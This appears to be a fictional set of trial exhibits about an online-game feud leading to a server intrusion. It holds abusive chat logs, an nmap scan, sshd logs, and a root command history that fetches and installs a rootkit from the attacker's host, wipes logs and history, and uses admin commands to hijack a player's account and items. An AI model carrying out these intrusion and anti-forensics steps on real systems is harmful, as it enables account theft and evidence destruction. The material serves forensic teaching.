Government Exhibit 1 Tue Jul 01 00 54

Зарегистрируйтесь, чтобы просмотреть полный документ!

Government Exhibit 1 [Tue Jul 01 00: 54: 03 2002] Weasel tells you, 'go away noob ebayer' [Tue Jul 01 00: 54: 07 2002] You told Weasel, 'huh? ! ebay? ' [Tue Jul 01 01: 42: 41 2002] Weasel tells you, 'didn't you get your account on gameauctions. com? you bought it r ight? ' [Tue Jul 01 01: 42: 58 2002] You told Weasel, 'yeah so? ' [Tue Jul 01 01: 43: 03 2002] Weasel tells you, ‘F-tard, you ebayers ruin this game' [Tue Jul 01 01: 43: 06 2002] You told Weasel, 'how do you figure oh-so-wise-one? ' [Tue Jul 01 01: 43: 14 2002] Weasel tells you, 'daddy buys you an account, you know dick about the game, ruin th e atmosphere for those who worked hard to get where they were, etc. plague to the game' [Tue Jul 01 01: 43: 32 2002] You told Weasel, 'just because i bought it doesn't mean i ruin your game elitsit PO S' [Tue Jul 01 01: 43: 48 2002] Weasel tells you, 'you aren't worthy of that character. you didn't play for four ye ars. you didn't have to camp for days to get your gear. you didn't suffer under years of buggy client software. you didn't even have to put up with ignorant ass clown newbies like yourself. ' [Tue Jul 01 01: 44: 06 2002] You told Weasel, 'sorry i didn't waste half my life like you did, Mr Asshole +3' [Tue Jul 01 01: 44: 09 2002] You told Weasel, 'not all of us want to devote our life to the game' [Tue Jul 01 01: 44: 15 2002] Weasel tells you, 'and you don't deserve jack shit as a result' [Tue Jul 01 01: 45: 01 2002] You told Weasel, 'and you do? last I checked, we pay Getta the same amount each mon th' [Tue Jul 01 01: 45: 38 2002] Weasel tells you, 'doesn't matter, you didn't *earn* anything! such a lame way to g et what you have' [Tue Jul 01 01: 46: 13 2002] You told Weasel, 'i don't care, lots of people buy their accounts to have fun with the game without going through the four years of hell you describe, duh!' [Tue Jul 01 01: 47: 01 2002] Weasel tells you, 'right, and they don't deserve those characters since they didn't create them or put the time into them. you should stay in Plushbone camping noob orcs jerk off' [Tue Jul 01 01: 47: 54 2002] You told Weasel, 'bah, you are mad i bought from someone else and didn't help put m oney in your pocket!'

Government Exhibit 1 -2 [Tue Jul 01 01: 48: 30 2002] Weasel tells you, 'what the hell, listen here you insipid little twit, some of us wouldn't sell out like that and have no desire to take your daddy's money. /ignore on' [Tue Jul 01 01: 49: 03 2002] You told Weasel, 'whoa, guess i touched on a nerve there!' [Tue Jul 01 02: 35: 53 2002] You told Weasel, 'you still got your head in the sand crying? ' [Tue Jul 01 03: 13: 22 2002] You told Weasel, 'hello? earth to retard!' [Tue Jul 01 03: 15: 52 2002] You told Weasel, 'bah, what a wuss’

Government Exhibit 2 [Tue Jul 05 04: 14: 03 2002] You have slain Nerf Master Wilkomm! [Tue Jul 05 04: 14: 04 2002] You have gained experience! [Tue Jul 05 04: 14: 04 2002] Welcome to level 50! [Tue Jul 05 04: 10 2002] You have looted Fisor’s Rod of Endurance [Tue Jul 05 04: 18 2002] You told Weasel, 'for being so pure, you sure sucked at getting that mob. how could a lowly plebeian like me kill it before you? ! hah' [Tue Jul 05 04: 14: 21 2002] Weasel tells you, 'listen jerk off, i was busy talking to my guild about Plane of Attrition, good luck buying your way into that zone' [Tue Jul 05 04: 14: 25 2002] You told Weasel, 'so i miss a few zones with this character, i don't give a shit' [Tue Jul 05 04: 14: 39 2002] Weasel tells you, 'you clearly know nothing about game advancement either /sigh' [Tue Jul 05 04: 14: 48 2002] You told Weasel, 'for being so uber at this game, you sure sucked on that mob. too bad, i hear he's kind of rare' [Tue Jul 05 04: 14: 51 2002] Weasel tells you, 'kind of rare? @!#$ what the fuck! that mob is like impossible to get you ignorant jerk off!' [Tue Jul 05 04: 15: 02 2002] Weasel tells you, 'i've been after it for weeks, since before you BOUGHT your god damn account' [Tue Jul 05 04: 15: 03 2002] You told Weasel, 'wow, they have violin music in this game!!' [Tue Jul 05 04: 15: 26 2002] Weasel tells you, gota hell, you'll regret this. good luck getting anywhere in game american express can't get you' [Tue Jul 05 04: 15: 39 2002] You told Weasel, 'WTS KLEENEX, PST' [Tue Jul 05 04: 15: 49 2002] Weasel tells you, ‘screw off' [Tue Jul 05 04: 15: 50 2002] You told Weasel, 'hahahhaha' [Tue Jul 05 04: 16: 12 2002] You told Weasel, 'gonna bury your head in the sand /ignore me more big guy? !' [Tue Jul 05 04: 16: 59 2002] You told Weasel, 'guess so! oh gno! more tears inc? ' [Tue Jul 05 04: 17: 45 2002] Weasel tells you, 'i petitioned your lame ass for that, it's against the rules. i was camping that namer' [Tue Jul 05 04: 30: 23 2002] You told Weasel, 'been 15 minutes, no anger raining from the GMs yet, guess the fact I engaged first means I get to keep this nice Fisor's Rod of Endurance. I guess you’ll have to deal with the fact that we’re now equals (at least in level. My rod’s bigger than yours). Bwahaha' [Tue Jul 05 04: 32: 10 2002] You told Weasel, 'night buddy, enjoy yourself! got beat by a "lamer" like me hahahha'

Government Exhibit 3 [Tue Jul 05 14: 54: 04 2002] Granhor tells the guild, 'I cant believe that Assclown Jericho KS'd us. I tried due ling him but he pussied out' [Tue Jul 05 14: 55: 02 2002] You tell the guild, 'All that fscking work gone to shit : (' [Tue Jul 05 14: 55: 14 2002] Weasel tells the guild, 'That KSing, Ebaying sonuvabitch blows. He's ruining this game' [Tue Jul 05 14: 55: 23 2002] Smoochie tells the guild, 'He got the damn Fisor's Rod of Endurance. That should've been ours' [Tue Jul 05 14: 56: 02 2002] Fred tells the guild, 'Yo Weasel. That shouldve been yours. He's got your stuff. You want us to get it back. ' [Tue Jul 05 14: 56: 11 2002] Smoochie tells the guild, 'Yeah. We'll do whatever you want Weasel. ' [Tue Jul 05 14: 56: 13 2002] Weasel tell the guild, 'In the old days, I could've had him banned for this, but ever since Baggins took over, Customer service as been a service of suck. You can't get a GA to answer you for days' [Tue Jul 05 14: 56: 19 2002] Fred tells the guild, 'There's other ways to get even. We could follow him around a nd harass him out of the game' [Tue Jul 05 14: 59: 04 2002] Smoochie tell the guild, 'We could KS every mob he goes after. That'll drive him nuts [Tue Jul 05 14: 59: 24 2002] Killem tell the guild, 'Lets shout he's a KSer in every zone. ' [Tue Jul 05 15: 00: 34 2002] You tell the guild, I’ll obey your whims, master. I’ll do whatever it takes Weasel' [Tue Jul 05 15: 00: 04 2002] Weasel tells the guild, 'I don't condone that kind of behavior =). But I wouldn’t shed any tears if he was taught not to screw with us. ; )

Government Exhibit 4 [Tue Jul 06 20: 54: 03 2002] Terron tells you, 'you KS'd Weasel last night didn't you? ' [Tue Jul 06 20: 54: 07 2002] You told Terron, 'yeah so? ' [Tue Jul 06 21: 42: 41 2002] Terron tells you, 'what kind of noob are you? don't you know who he is? his guild? ' [Tue Jul 06 21: 42: 58 2002] You told Terron, 'yeah, some asshole and his guild can be Masters of Bating for all i care' [Tue Jul 06 21: 43: 03 2002] Terron tells you, 'moron, that was uncool. who do you think you are to do that? ' [Tue Jul 06 21: 43: 06 2002] You told Terron, 'someone who pays Getta just like he does, duh? ' [Tue Jul 06 21: 43: 14 2002] Terron tells you, 'your a loser ebay gimp, you should stay out of our zones. you know dick about the game' [Tue Jul 06 21: 43: 32 2002] You told Terron, 'well, knew enough to beat him to the mob i guess, what's that say about your uber friend? out of our mouth and go away' [Tue Jul 06 21: 43: 48 2002] Terron tells you, 'keep it up asswipe, you'll pay the piper' [Tue Jul 06 21: 44: 06 2002] You told Terron, 'oh no, not that! sorry, i don't like guys, find someone else' [Tue Jul 06 21: 44: 15 2002] Terron tells you, 'keep talking, dig your grave a bit deeper, good boy' [Tue Jul 06 21: 45: 01 2002] You told Terron, you’re barely a lowly member in his shitty guild and you are going to do so something to me? hahah' [Tue Jul 06 21: 45: 38 2002] Terron tells you, 'like you know about the grand scheme of things, in game or out. . . ' [Tue Jul 06 21: 47: 01 2002] Terron tells you, 'do me a favor ok? ' [Tue Jul 06 21: 47: 54 2002] You told Terron, 'what's that dipshit? ' [Tue Jul 06 21: 48: 30 2002] Terron tells you, 'when life gets rough soon, don't cry too loud!' [Tue Jul 06 21: 49: 03 2002] You told Terron, '/yawn' [Tue Jul 06 22: 35: 53 2002] You told Terron, 'whatever, please resume Weasel-Butt-Sniffing of the day'

Government Exhibit 5 # nmap 3. 27 scan initiated Sun Jul 28 05: 40: 51 2002 as: nmap -o. N af. txt -s. S -n -p 21, 22, 23, 25, 80, 111, 135, 139, 143, 445, 593 -v -O 192. 168. 192. 102 Warning: OS detection will be MUCH less reliable because we did not find at least 1 open and 1 closed TCP port Interesting ports on 192. 168. 192. 102: Port State Service 21/tcp filtered ftp 22/tcp open ssh 23/tcp filtered telnet 25/tcp filtered smtp 80/tcp filtered http 110/tcp filtered pop-3 111/tcp filtered sunrpc 135/tcp filtered loc-srv 139/tcp filtered netbios-ssn 143/tcp filtered imap 2 445/tcp filtered microsoft-ds 593/tcp filtered http-rpc-epmap OS: Linux Kernel 2. 4. 0 - 2. 5. 20 Uptime 161. 993 days (since Mon Jan 27 14: 50: 41 2002) TCP Sequence Prediction: Class=random positive increments Difficulty=4155389 (Good luck!) # Nmap run completed at Sun Jul 28 05: 41: 02 2002 -- 1 IP address (1 host up) scanned in 10. 686 seconds

Government Exhibit 6 Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11176 192. 168. 192. 102: 135 L=40 S=0 x 00 I=54206 F=0 x 0000 T=48 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11177 192. 168. 192. 102: 139 L=40 S=0 x 00 I=24202 F=0 x 0000 T=53 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11178 192. 168. 192. 102: 110 L=40 S=0 x 00 I=15069 F=0 x 0000 T=35 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11179 192. 168. 192. 102: 21 L=40 S=0 x 00 I=43181 F=0 x 0000 T=36 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11181 192. 168. 192. 102: 445 L=40 S=0 x 00 I=54717 F=0 x 0000 T=43 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11182 192. 168. 192. 102: 143 L=40 S=0 x 00 I=61595 F=0 x 0000 T=38 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11183 192. 168. 192. 102: 23 L=40 S=0 x 00 I=24984 F=0 x 0000 T=36 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11184 192. 168. 192. 102: 22 L=40 S=0 x 00 I=28487 F=0 x 0000 T=38 SYN (#541) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11185 192. 168. 192. 102: 593 L=40 S=0 x 00 I=32079 F=0 x 0000 T=54 SYN (#544) Jul 28 05: 53: 34 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11186 192. 168. 192. 102: 111 L=40 S=0 x 00 I=19042 F=0 x 0000 T=52 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11188 192. 168. 192. 102: 111 L=40 S=0 x 00 I=58998 F=0 x 0000 T=40 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11189 192. 168. 192. 102: 593 L=40 S=0 x 00 I=51627 F=0 x 0000 T=47 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11190 192. 168. 192. 102: 23 L=40 S=0 x 00 I=32321 F=0 x 0000 T=53 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11191 192. 168. 192. 102: 23 L=40 S=0 x 00 I=55284 F=0 x 0000 T=48 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11192 192. 168. 192. 102: 593 L=40 S=0 x 00 I=22668 F=0 x 0000 T=47 SYN (#544)

Government Exhibit 6 -2 Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11193 192. 168. 192. 102: 111 L=40 S=0 x 00 I=61611 F=0 x 0000 T=37 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11194 192. 168. 192. 102: 23 L=40 S=0 x 00 I=5544 F=0 x 0000 T=43 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11195 192. 168. 192. 102: 593 L=40 S=0 x 00 I=34882 F=0 x 0000 T=46 SYN (#544) Jul 28 05: 53: 35 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11196 192. 168. 192. 102: 111 L=40 S=0 x 00 I=48116 F=0 x 0000 T=54 SYN (#544) Jul 28 05: 53: 36 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11197 192. 168. 192. 102: 111 L=40 S=0 x 00 I=44966 F=0 x 0000 T=42 SYN (#544) Jul 28 05: 53: 36 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11198 192. 168. 192. 102: 593 L=40 S=0 x 00 I=26675 F=0 x 0000 T=49 SYN (#544) Jul 28 05: 53: 36 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11199 192. 168. 192. 102: 593 L=40 S=0 x 00 I=15643 F=0 x 0000 T=52 SYN (#544) Jul 28 05: 53: 36 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11200 192. 168. 192. 102: 111 L=40 S=0 x 00 I=32837 F=0 x 0000 T=50 SYN (#544) Jul 28 05: 53: 36 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11201 192. 168. 192. 102: 22 L=60 S=0 x 00 I=35040 F=0 x 0000 T=41 SYN (#541) Jul 28 05: 53: 36 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11203 192. 168. 192. 102: 22 L=60 S=0 x 00 I=40120 F=0 x 0000 T=46 SYN (#541) Jul 28 05: 53: 36 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11205 192. 168. 192. 102: 40466 L=60 S=0 x 00 I=8283 F=0 x 0000 T=40 SYN (#544) Jul 28 05: 53: 36 grace kernel: Packet log: input REJECT eth 0 PROTO=17 10. 194. 143: 11208 192. 168. 192. 102: 40466 L=328 S=0 x 00 I=40191 F=0 x 0000 T=54 (#545) Jul 28 05: 53: 38 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11211 192. 168. 192. 102: 40466 L=60 S=0 x 00 I=51611 F=0 x 0000 T=42 SYN (#544) Jul 28 05: 53: 38 grace kernel: Packet log: input REJECT eth 0 PROTO=17 10. 194. 143: 11208 192. 168. 192. 102: 4046 L=328 S=0 x 00 I=40191 F=0 x 0000 T=54 (#545)

Government Exhibit 6 -3 Jul 28 05: 53: 38 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11211 192. 168. 192. 102: 40466 L=60 S=0 x 00 I=51611 F=0 x 0000 T=42 SYN (#544) Jul 28 05: 53: 38 grace kernel: Packet log: input REJECT eth 0 PROTO=17 10. 194. 143: 11208 192. 168. 192. 102: 40466 L=328 S=0 x 00 I=40191 F=0 x 0000 T=54 (#545) Jul 28 05: 53: 40 grace kernel: Packet log: input REJECT eth 0 PROTO=6 10. 194. 143: 11216 192. 168. 192. 102: 40466 L=60 S=0 x 00 I=55347 F=0 x 0000 T=53 SYN (#544) Jul 28 05: 53: 44 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11219 192. 168. 192. 102: 22 L=60 S=0 x 00 I=48281 F=0 x 0000 T=50 SYN (#541) Jul 28 05: 53: 44 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11220 192. 168. 192. 102: 22 L=60 S=0 x 00 I=60069 F=0 x 0000 T=38 SYN (#541) Jul 28 05: 53: 44 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11221 192. 168. 192. 102: 22 L=60 S=0 x 00 I=48789 F=0 x 0000 T=46 SYN (#541) Jul 28 05: 53: 44 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11222 192. 168. 192. 102: 22 L=60 S=0 x 00 I=28654 F=0 x 0000 T=40 SYN (#541) Jul 28 05: 53: 44 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11223 192. 168. 192. 102: 22 L=60 S=0 x 00 I=48342 F=0 x 0000 T=45 SYN (#541) Jul 28 05: 53: 44 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11224 192. 168. 192. 102: 22 L=60 S=0 x 00 I=10888 F=0 x 0000 T=34 SYN (#541)

Government Exhibit 7 Jul 28 06: 00: 02 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11264 192. 168. 192. 102: 22 L=60 S=0 x 10 I=8614 F=0 x 4000 T=59 SYN (#541) Jul 28 06: 00: 17 grace sshd[25975]: Bad protocol version identification '@@@@@@@@@@@@@@@@@@@@@@@@@@@' from 10. 194. 143 Jul 28 06: 01: 33 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11269 192. 168. 192. 102: 22 L=60 S=0 x 10 I=52627 F=0 x 4000 T=59 SYN (#541) Jul 28 06: 01: 49 grace sshd[25986]: Bad protocol version identification '@@@@@@@@@@@@@@@@@@@@@@@@@@@' from 10. 194. 143 Jul 28 06: 01: 58 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11270 192. 168. 192. 102: 22 L=60 S=0 x 10 I=62738 F=0 x 4000 T=59 SYN (#541) Jul 28 06: 02: 06 grace sshd[25987]: Bad protocol version identification '@@@' from 10. 194. 143 Jul 28 06: 02: 09 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11271 192. 168. 192. 102: 22 L=60 S=0 x 10 I=27994 F=0 x 4000 T=59 SYN (#541) Jul 28 06: 02: 24 grace sshd[25991]: Did not receive identification string from 10. 194. 143 Jul 28 06: 03: 36 grace kernel: Packet log: input ACCEPT eth 0 PROTO=6 10. 194. 143: 11282 192. 168. 192. 102: 22 L=60 S=0 x 00 I=353 F=0 x 4000 T=59 SYN (#541) Jul 28 06: 03: 41 grace sshd[26020]: Failed password for root from 10. 194. 143 port 11282 ssh 2 Jul 28 06: 03: 49 grace sshd[26020]: Accepted password for root from 10. 194. 143 port 11282 ssh 2

Government Exhibit 8 Jul 28 06: 03: 51 root [pid, 26022]: w Jul 28 06: 03: 57 root [pid, 26022]: bash --noprofile Jul 28 06: 04: 02 root [pid, 26025]: unset HISTFILE Jul 28 06: 04: 09 root [pid, 26025]: set | grep HIST Jul 28 06: 04: 25 root [pid, 26025]: cp -f /dev/null /root/. bash_history Jul 28 06: 04: 35 root [pid, 26025]: ps -ef | more Jul 28 06: 05: 01 root [pid, 26025]: mkdir. . . Jul 28 06: 05: 04 root [pid, 26025]: cd. . . Jul 28 06: 05: 10 root [pid, 26025]: scp -o. Protocol=2 ryan@10. 194. 143: jericho/nmrc-lrk 0. 5. tgz. Jul 28 06: 12 root [pid, 26025]: tar xfz nmrc-lrk 0. 5. tgz Jul 28 06: 28 root [pid, 26025]: cd nmrc-lrk 0. 5 Jul 28 06: 34 root [pid, 26025]: ls -l Jul 28 06: 40 root [pid, 26025]: less README Jul 28 06: 07: 22 root [pid, 26025]: vi Makefile Jul 28 06: 07: 44 root [pid, 26025]: less README Jul 28 06: 08: 32 root [pid, 26025]: vi Makefile Jul 28 06: 08: 58 root [pid, 26025]: vi src/config. h Jul 28 06: 09: 20 root [pid, 26025]: w Jul 28 06: 09: 24 root [pid, 26025]: make Jul 28 06: 11: 01 root [pid, 26025]: less README Jul 28 06: 11: 58 root [pid, 26025]: vi Makefile Jul 28 06: 12: 24 root [pid, 26025]: make Jul 28 06: 15: 38 root [pid, 26025]: vi Makefile Jul 28 06: 15: 49 root [pid, 26025]: make Jul 28 06: 18: 11 root [pid, 26025]: make install Jul 28 06: 19: 09 root [pid, 26025]: grep 10. 194. 143 /var/log/* Jul 28 06: 20: 23 root [pid, 26025]: cd cleaners

Government Exhibit 8 -2 Jul 28 06: 20: 51 root [pid, 26025]: . /logwipe -h 10. 194. 143 /var/log/messages Jul 28 06: 21: 17 root [pid, 26025]: w Jul 28 06: 21: 24 root [pid, 26025]: . /remove root Jul 28 06: 21: 41 root [pid, 26025]: w Jul 28 06: 21: 46 root [pid, 26025]: cd. . Jul 28 06: 22: 53 root [pid, 26025]: nmap -s. S -p 22, 23, 666, 889 -O -p 0 10. 0. 0. 4 Jul 28 06: 24: 43 root [pid, 26025]: which nmap Jul 28 06: 25: 23 root [pid, 26025]: scp -o. Protocol=2 ryan@10. 194. 143: jericho/nmap-3. 23. tgz Jul 28 06: 26: 49 root [pid, 26025]: tar xfz nmap-3. 23. tgz Jul 28 06: 26: 59 root [pid, 26025]: cd nmap-3. 23 Jul 28 06: 27: 22 root [pid, 26025]: . /configure Jul 28 06: 28: 42 root [pid, 26025]: make Jul 28 06: 29: 19 root [pid, 26025]: nmap -s. S -p 22, 23, 666, 889 -O -p 0 10. 0. 0. 4 Jul 28 06: 29: 24 root [pid, 26025]: . /nmap -s. S -p 22, 23, 666, 889 -O -p 0 10. 0. 0. 4 Jul 28 06: 31: 49 root [pid, 26025]: ssh -2 gladmin@10. 0. 0. 4 Jul 28 06: 34: 41 root [pid, 26025]: cd. . Jul 28 06: 35: 55 root [pid, 26025]: /root/. . . /nmrc-lrk 0. 5/cleaners/nwipe --passes 3 -r -f /root/. . . /* Jul 28 06: 39: 18 root [pid, 26025]: exit Jul 28 06: 39: 20 root [pid, 26022]: exit

Government Exhibit 9 mkdir. . . cd. . . scp -o. Protocol=2 ryan@10. 194. 143: jericho/nmrc-lrk 0. 5/cleaners/logwipe. scp -o. Protocol=2 ryan@10. 194. 143: jericho/nmrc-lrk 0. 5/cleaners/remove. scp -o. Protocol=2 ryan@10. 194. 143: jericho/nmrc-lrk 0. 5/cleaners/nwipe. /usr/local/sbin/gladmin --user-id "jericho" --password-reset “geteven" --config-file /usr/local/etc/gladmin-maint. conf /usr/local/sbin/gladmin --user-id "jericho" --objects-profile-save "/tmp/jericho. sux" --config-file /usr/local/etc/gladmin-maint. conf /usr/local/sbin/gladmin -u rache -p revenge /usr/local/sbin/gladmin --user-id "rache" ----objects-profile-restore "/tmp/jericho. sux" --config-file /usr/local/etc/gladmin-maint. conf /usr/local/sbin/gladmin --user-id "jericho" --password-restore --password-history 1 --config-file /usr/local/etc/gladmin-maint. conf /usr/local/sbin/gladmin --user-id "jericho" --global-reset --config-file /usr/local/etc/gladmin-maint. conf. /logwipe -h /var/log/messages. /remove gladmin cd. . /home/gladmin/. . . /nwipe --passes 3 -r -f /home/gladmin/. . . /*

Government Exhibit 10 [ gl ] Jul 28 2002 06: 32: 20 GLADMIN -- administrative password reset for user jericho [ gl ] Jul 28 2002 06: 32: 25 GLADMIN -- administrative save object profile for user jericho /tmp/jericho. sux [ gl ] Jul 28 2002 06: 32: 29 GLADMIN -- create new user rache [ gl ] Jul 28 2002 06: 32: 29 GLADMIN -- password reset for user rache [ gl ] Jul 28 2002 06: 32: 40 GLADMIN -- user connect jericho [ gl ] Jul 28 2002 06: 32: 45 GLADMIN -- administrative restore object profile for user rache /tmp/jericho. sux [ gl ] Jul 28 2002 06: 34: 04 GLADMIN -- user profile store jericho [ gl ] Jul 28 2002 06: 34: 05 GLADMIN -- user profile store weasel [ gl ] Jul 28 2002 06: 34: 10 GLADMIN -- user disconnect jericho [ gl ] Jul 28 2002 06: 34: 18 GLADMIN -- administrative password restore for user jericho [ gl ] Jul 28 2002 06: 34: 22 GLADMIN -- administrative default reset for user jericho [ gl ] Jul 28 2002 06: 34: 27 GLADMIN -- user connect rache [ gl ] Jul 28 2002 06: 34: 49 GLADMIN -- user profile store rache [ gl ] Jul 28 2002 06: 34: 50 GLADMIN -- user profile store terron

Government Exhibit 11 The commands used to generate these log entries (and their meanings) follow. The gladmin program is usually driven by remote users' Getta. Life console, so special privileged commands use a separate configuration file to ensure the commands are executed properly. Many of the log entries above would require manual invocation of the configuration file for them to execute. Note that according to logs, no one was logged into the system when the administrative commands were executed, so the most likely scenario was a system compromise where logs were altered. Also note that administrative commands such as these can only be issued on a live system. Administrative command to reset a password (password is unknown, represented by xxxx): /usr/local/sbin/gladmin --user-id "jericho" --password-reset "xxxx" --config-file /usr/local/etc/gladmin-m aint. conf Administrative command to save a user's profile: /usr/local/sbin/gladmin --user-id "jericho" --objects-profile-save "/tmp/jericho. sux" --config-file /usr/local /etc/gladmin-maint. conf Command to create and reset a password, could have been issued locally or by a new user (password unknown): /usr/local/sbin/gladmin -u rache -p xxxx

Government Exhibit 11 -2 Administrative command to restore a user's profile: /usr/local/sbin/gladmin --user-id "rache" ----objects-profile-restore "/tmp/jericho. sux" --config-file /usr/lo cal/etc/gladmin-maint. conf Administrative command to roll back a password to a previous version: /usr/local/sbin/gladmin --user-id "jericho" --password-restore --password-history 1 --config-file /usr/local/e tc/gladmin-maint. conf Administrative command to reset a user to a default starting profile: /usr/local/sbin/gladmin --user-id "jericho" --global-reset --config-file /usr/local/etc/gladmin-maint. conf The "user profile store" can happen when a user transfers an object to another user, or receives an object from another user.

Government Exhibit 12 Listing of /home/ryan/jericho: -rw-r--r--rw-r--r-drwxr-xr-x -rw-r--r--rwxr-xr-x -r---r-- 1 root 2 root 1 root root root 1001 Jul 28 2002 af. txt 1028 Jul 27 2002 glattack. txt 835 Jul 26 2002 glnotes. txt 4096 Jul 26 2002 nmap-3. 27 1087176 Jul 26 2002 nmap-3. 27. tgz 4096 Jul 26 2002 nmrc-lrk 0. 5 2306052 Jul 26 2002 nmrc-lrk 0. 5. tgz 219932 Jul 26 2002 sshnuke 3102 Jul 26 2002 sshnuke. txt

Government Exhibit 13 Terron, Here are those commands you were asking about: password reset: /usr/local/sbin/gladmin --user-id "id" --password-reset "password" --config-file /usr/local/etc/gladmin-maint. conf password restore: /usr/local/sbin/gladmin --user-id "id" --password-restore --password-history 1 --config-file /usr/local/etc/gl admin-maint. conf save a profile: /usr/local/sbin/gladmin --user-id "id" --objects-profile-save "/tmp/file. txt" --config-file /usr/local/etc/gla dmin-maint. conf restore a profile: /usr/local/sbin/gladmin --user-id "id" ----objects-profile-restore "/tmp/file. txt" --config-file /usr/local/et c/gladmin-maint. conf reset a profile to defaults (blank): /usr/local/sbin/gladmin --user-id "id" --global-reset --config-file /usr/local/etc/gladmin-maint. conf create a user: /usr/local/sbin/gladmin -u id -p password -Weasel

Government Exhibit 14 Thank you for using Banker. Bob. org. The following is the summary of your account for the period May 1 2002 thru August 1 2002 Account No: 13775534 Account Holder: Jericho Opening Balance: $1900. 00 Ending Balance: $1415. 00 Transaction History: Date Item B/S/T/D/W Amount Balance _____________________________________ 05/02/02 05/08/02 05/10/02 05/11/02 05/18/02 05/19/02 05/21/02 05/22/02 05/31/02 06/08/02 06/11/02 06/19/02 06/30/02 07/05/02 07/11/02 07/22/02 07/24/02 07/31/02 Ring of Turmoil Blazing Ring of C Ring of Truth Robe of Energy Belt of Goth XXXXXX 3005 Robe of Mirth Halo of the Mist W Monthly Svc Charge Bracer of Energy Bracer of Mirth Stein of Purity Monthly Svc Charge Amulet of Might Bracer of Mirth Bracer of Energy Stein of Cleansing Monthly Svc Charge B B S B B D S B T B S B S T $ 250. 00 $ 200. 00 $ 150. 00 $ 900. 00 $ 400. 00 $2000. 00 $ 75. 00 $ 100. 00 $ 25. 00 $ 175. 00 $ 50. 00 $ 350. 00 $ 25. 00 $ 450. 00 $ 60. 00 $ 170. 00 $ 200. 00 $ 25. 00 $1650. 00 $1450. 00 $1600. 00 $ 700. 00 $ 300. 00 $2375. 00 $2225. 00 $2050. 00 $2100. 00 $1750. 00 $1725. 00 $1300. 00 $1360. 00 $1190. 00 $1365. 00

Government Exhibit 14 -2 Banker Bob is a subsidiary of Fly by Night industries. Banker Bob lets any gamer with an email address securely, conveniently, and cost-effectively send and receive payments online. We deliver a service tailored to the online gamer by tieing in our auction site gameauctions. com. Please see further terms and conditions at http: //www. bankerbob. org

Government Exhibit 15 Thank you for using Banker. Bob. org. The following is the summary of your account for the period August 1 2002 thru September 1 2002 Account No: 155840485 Account Holder: Terron Opening Balance: $ 800. 00 Ending Balance: $ 700. 00 Transaction History: Date Item B/S/T/D/W Amount Balance _____________________________________ 08/01/02 08/02/02 08/02/02 08/04/02 08/05/02 08/31/02 Ring of Turmoil Blazing Ring of C Robe of Energy Belt of Goth Bracer of Energy Fistwraps of Thun Bracer of Energy Halo of the Mist W Stein of Purity Amulet of Might Staff of Transende 159984055 Amulet of the Four XXXXXX 8004 Monthly Svc Charge S S S B T B W W $ 200. 00 $ 300. 00 $ 800. 00 $ 400. 00 $ 200. 00 $ 150. 00 $ 175. 00 $ 200. 00 $ 325. 00 $ 400. 00 $ 225. 00 $1500. 00 $ 300. 00 $1000. 00 $ 25. 00 $1000. 00 $1300. 00 $2100. 00 $2500. 00 $2700. 00 $2550. 00 $2825. 00 $3025. 00 $3350. 00 $3750. 00 $3525. 00 $2025. 00 $1725. 00 $ 700. 00

